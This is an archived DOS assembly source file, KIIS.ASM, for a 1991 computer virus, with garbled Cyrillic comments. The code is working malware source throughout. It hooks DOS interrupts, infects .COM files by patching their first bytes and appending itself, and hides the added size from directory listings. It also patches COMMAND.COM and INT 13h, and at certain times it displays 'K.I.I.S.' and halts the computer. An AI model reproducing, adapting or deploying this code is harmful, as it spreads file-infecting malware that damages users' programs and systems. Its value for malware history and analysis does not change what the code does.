home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-K.ZIP / KIIS.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  7KB  |  269 lines

  1.  
  2. ;************************************************************************;
  3. ;*               T«º¿ Virus Ñ ¡á»░áóÑ¡ ¡á 25.10.1991 ú. ó               *;
  4. ;*                                                                      *;
  5. ;*              æô " æó. è½¿¼Ñ¡▓ Ä╡░¿ñ▒¬¿ " ó 17:18.30 hour             *;
  6. ;*                                                                      *;
  7. ;*                           ▒▓á┐ 316 ¡á ö.î.ê.                         *;
  8. ;************************************************************************;
  9.  
  10. start:  jmp     short begin
  11.     db    (00h)
  12.     db    (53h)        ; çá ░ẻ«º¡áóá¡Ñ ¡á ó¿░│▒á
  13.     db    (4bh)        ; ä὿ ┤á⌐½á Ñ ºá░áºÑ¡
  14.     int    20h
  15. okey:    db    (0b8h)
  16.     db    (03h)
  17.     db    (00h)
  18.     db    (0cdh)
  19.     db    (10h)
  20.  
  21. begin:    push    cx                                    ;
  22.     CALL    F1                                    ;
  23. F1:    POP    SI                                    ; çá ó║º▒▓á¡«ó┐óá¡Ñ ¡á »║░ó¿▓Ñ 5 íá⌐▓á
  24.     SUB    SI,09                                ;
  25.     PUSH    SI            ;
  26.         cld                         ;
  27.     mov    di,100h ;
  28.     mov    cx,5        ;
  29.     rep    movsb        ;
  30.     jmp    ding2
  31.  
  32. new21:  pushf                       ; CALL ¬║¼ «░¿ú¿¡á½¡«▓« INT 21h ¡á
  33.         push    cs                  ; IBMDOS.COM - ▒ ╢ѽ ñá ¡Ñ ▓Ñ ╡óá-
  34.         call    Word ptr cs:[8c0h]  ; ¡á▓ ¡┐¬«⌐ »░«ú░Ἷ ºá ó¿░│▒¿
  35.         ret                         ; ¬á▓« Anti4us.exe, NDD ¿ ▓.¡.
  36.  
  37. int21h: STI
  38.         cmp     ah,4bh              ; Å░¿ ▒▓á░▓¿░á¡Ñ ¡á ┤á⌐½
  39.     jz    mm                  ;
  40.         cmp     ah,11h              ; Å░¿ ▓║░▒Ñ¡Ñ ¡á »║░ó¿ ¿ ó▓«░¿ ┤á⌐½
  41.         jz      home                ; ▒ ╢ѽ »░¿ DIR ñá ▒¬░¿óá ó¿░│▒á.
  42.         cmp     ah,12h              ;
  43.         jz      home
  44.         jmp     int1hh
  45.  
  46. home:   call    new21               ; Å░«╢Ññ│░á ¬á▓« »░¿ DIR »░«óÑ░┐óá
  47.         push    ax                  ; ñ὿ ╖á▒á Ñ 10:26 ¿ ,ᬫ Ñ º¡á╖¿
  48.         push    bx                  ; ┤á⌐½á Ñ ºá░áºÑ¡ ¿ ¿ºóáªñá ñ║½ª¿¡á-
  49.     push    es                  ; ▓á ¡á ó¿░│▒á ñá ¡Ñ ▒Ñ ºáíѽ┐ºóá
  50.                                                                         ; «ú«½Ñ¼┐óá¡Ñ▓« ¡á ┤á⌐½á.
  51.         mov     ah,2fh              ; éºÑ¼á DTA ó ES:BX . ùá▒á Ñ ó bx+1eh
  52.         call    new21               ; Æ│¬ Ñ 10:26 ;
  53.         mov     ax,534bh
  54.         cmp     Word ptr es:[bx+1eh],ax
  55.         jnz     ox
  56.     mov     ax,End-Okey+3
  57.         sub     Word ptr es:[bx+24h],ax
  58. ox:     pop     es                  ; Ç¬« ¡Ñ Ñ 10:26 , ▓« º¡á╖¿ ¡┐¼á╕
  59.     pop     bx                  ; ó¿░│▒ ¿ ¡┐¼á ñá ¡á¼á½¿ ╖á▒á ▒
  60.     pop     ax                  ; ¡Ñ«í╡«ñ¿¼¿▓Ñ íá⌐▓«óÑ ¿½¿ ñ║½-
  61.     db    (0CAh)                    ; ª¿¡á▓á ¡á ó¿░│▒á ó ▒½│╖Ñ┐.
  62.         dw      (2)
  63.  
  64.    ;****************************************************;
  65.    ;*                 ç á ░ á º ┐ ó á ¡ Ñ              *;
  66.    ;****************************************************;
  67.  
  68. mm:    pushf
  69.         PUSH    AX
  70.     PUSH    BX
  71.     PUSH    CX
  72.     PUSH    DX
  73.     PUSH    DS
  74.     PUSH    ES
  75.     PUSH    SI
  76.     PUSH    DI
  77.         xor     ax,ax
  78.         mov     ds,ax
  79.         mov     di,[0194h]
  80.         mov     es,[0196h]
  81.         mov     ax,[004ch]
  82.         mov     bx,[004eh]
  83.         mov     cx,0f000h
  84.         mov     dx,0ec59h
  85.         mov     [0100h],dx
  86.         mov     [0102h],cx
  87.         mov     [0198h],ax
  88.         mov     [019ah],bx
  89.         mov     [004ch],di
  90.         mov     [004eh],es
  91.     mov    ax,0a15h+new24-begin
  92.         push    cs
  93.         pop     ds
  94.     push    cs
  95.     pop    es
  96.     mov    ah,2ch
  97.     call    new21
  98.     cmp    cx,0200h
  99.     jna    mm1
  100.     mov    ax,0003h
  101.     int    10h
  102.     mov    ah,09h
  103.     mov    dx,0a15h+n-begin
  104.     call    new21
  105.     cli
  106.     hlt
  107.  
  108. dinge:  jmp     ding
  109.  
  110. mm1:    mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
  111.         call    new21
  112.         mov     cs:[8b0h],es
  113.         mov     cs:[8b2h],bx
  114.         MOV     AH,4eH
  115.         MOV     DX,0a10h+files-okey
  116.     mov    cx,0
  117.         call    new21
  118.         jc      dinge           ;CX  File attribute
  119.                                 ;DS:DX Pointer of filespec (ASCIIZ string)
  120. vir:    mov    ax,534bh
  121.     cmp    es:[bx+16h],ax
  122.     jnz    fuck
  123. vir1:    mov    ah,4fh
  124.     call    new21
  125.     jc    enzi
  126.     jmp    short vir
  127. enzi:    jmp    ding
  128. fuck:    mov    cx,1500
  129.     cmp    es:[bx+1ah],cx
  130.     jna    vir1
  131. fuck1:    push    es
  132.     pop    ds
  133.     mov    ax,3d02h
  134.     mov    dx,bx
  135.     add    dx,1eh
  136.         call    new21
  137.         mov     cs:[0a10h+handle-okey],ax
  138.         mov     bx,ax
  139.     push    cs
  140.     pop    ds
  141.     mov    ah,3fh
  142.     mov    dx,0a10h
  143.     mov    cx,5
  144.         call    new21
  145.         mov     di,0a10h+end-okey
  146.     mov    al,0e9h
  147.     mov    [di],al
  148.     inc    di
  149.     mov    bx,[8b2h]
  150.     mov    cx,es:[bx+1ah]
  151.     inc    cx
  152.     inc    cx
  153.     mov    [di],cx
  154.     inc    di
  155.     inc    di
  156.         mov     ax,534bh
  157.     mov    [di],ax
  158.     mov    bx,cs:[0a10h+handle-okey]
  159.     mov    ax,4200h
  160.     xor    cx,cx
  161.     xor    dx,dx
  162.     call    new21
  163.     mov    ah,40h
  164.     mov    dx,0a10h+end-okey
  165.     mov    cx,5
  166.         call    new21
  167.     mov    ax,4202h
  168.     xor    cx,cx
  169.     xor    dx,dx
  170.         call    new21
  171.     push    cs
  172.     pop    ds
  173.     mov    bx,cs:[0a10h+handle-okey]
  174.     mov    ah,40h
  175.     mov    dx,0a10h
  176.     mov    cx,end-okey-3
  177.         call    new21
  178.     mov    bx,cs:[0a10h+handle-okey]
  179.         mov     ax,5700h
  180.         call    new21
  181.         mov     ax,5701h
  182.         mov     cx,534bh
  183.         call    new21
  184.         mov     ah,3eh
  185.         call    new21
  186. ding:   xor     ax,ax
  187.         mov     ds,ax
  188.         mov     ax,[0198h]
  189.         mov     bx,[019ah]
  190.         mov     [004ch],ax
  191.         mov     [004eh],bx
  192.         POP     DI
  193.     POP    SI
  194.         POP     ES
  195.     POP    DS
  196.     POP    DX
  197.     POP    CX
  198.     POP    BX
  199.     POP    AX
  200.     popf
  201.  
  202. int1hh: jmp     word ptr cs:[8c0h]  ; Å░Ѭ║▒óá¡Ñ 21ì
  203.  
  204. files:    db    '*.com',0        ; çá░áº┐óá ▒Ἣ COM ┤á⌐½«óÑ
  205.  
  206. new24:  mov     al,03               ; Int 24h ñá ¡Ñ ñáóá Write Protect
  207.     iret
  208.  
  209. ding2:  MOV     AX,0070h            ; é½¿ºá ó ▒Ñú¼Ñ¡ 0070h: ¿ »░Ñ▓║░▒óá
  210.         MOV     ES,AX               ; ºá ¡Ñ«í╡«ñ¿¼¿▓Ñ íá⌐▓«óÑ ¡á INT13H
  211.         MOV     DI,0000h
  212.         MOV     AX,80FBh
  213. non1:   CLD
  214.         MOV     CX,0FFFFh
  215. non2:   REPNZ   SCASW
  216.         JZ      non
  217.         MOV     DI,0001h
  218.         JMP     non1
  219. non:    MOV     BX,02FCh
  220.         CMP     ES:[DI],BX
  221.         JNZ     non2
  222.         DEC     DI
  223.         DEC     DI
  224.         xor     ax,ax               ; ìáú½á▒┐ ¡«ó«▓« »░Ѭ║▒óá¡Ñ INT13H ¿
  225.         mov     ds,ax               ; ¿ ▒Ñ »«ñú«▓ó┐ ºá ░áí«▓á
  226.         mov     [0194h],di
  227.         mov     [0196h],es
  228.     mov    es,[009eh]
  229.     mov    bx,[00a0h]
  230.         push    cs
  231.         pop     ds
  232.         MOV     BP,DS
  233.         pop     si
  234.         push    si                  ; Å░Ñ╡ó║░½┐ ó¿░│▒á ó ▒▓Ѭᠡá
  235.         MOV     DI,0a10h            ; COMMAND.COM
  236.         MOV     CX,Handle-Okey      ; Ç ▒║╣« ▓á¬á ¿ »«ñú«▓ó┐
  237.         REP     MOVSB               ; ó¿░│▒á ñ«í░Ñ ñá ▒Ñ │¬░Ñ»¿
  238.         PUSH    ES                  ; ¿ «»½Ñ▓Ñ ▒ Int 21h
  239.         LEA     DI,[BX+1bh]
  240.         MOV     AL,0e9h
  241.         STOSB
  242.         MOV     AX,0A30h
  243.         SUB     AX,DI
  244.         STOSW
  245.     MOV    AX,9090H
  246.         STOSW
  247.         STOSW
  248.         MOV     ES:[8c0h],DI
  249.         MOV     AX,SS
  250.         SUB     AX,0018h
  251.         CLI
  252.         MOV     SS,AX
  253.         STI
  254.         MOV     DS,BP
  255.         POP     ES
  256.         pop     si
  257.         pop     cx
  258.         xor     ax,ax
  259.         xor     bx,bx
  260.         xor     dx,dx
  261.         xor     si,si
  262.     mov    di,100h
  263.         push    di
  264.         xor     di,di
  265.         ret
  266. n:      db      "K.I.I.S.° ",024h   ; Æ«º¿ ▓Ñ▒▓ ▒Ñ «▓»Ñ╖á▓óá ▒½Ññ 2 ╖á▒á.
  267. handle: dw      ?                   ; Ç ▒║╣« ▓á¬á í½«¬¿░á ¬«¼»╛▓║░á.
  268. end:    db      (00)
  269.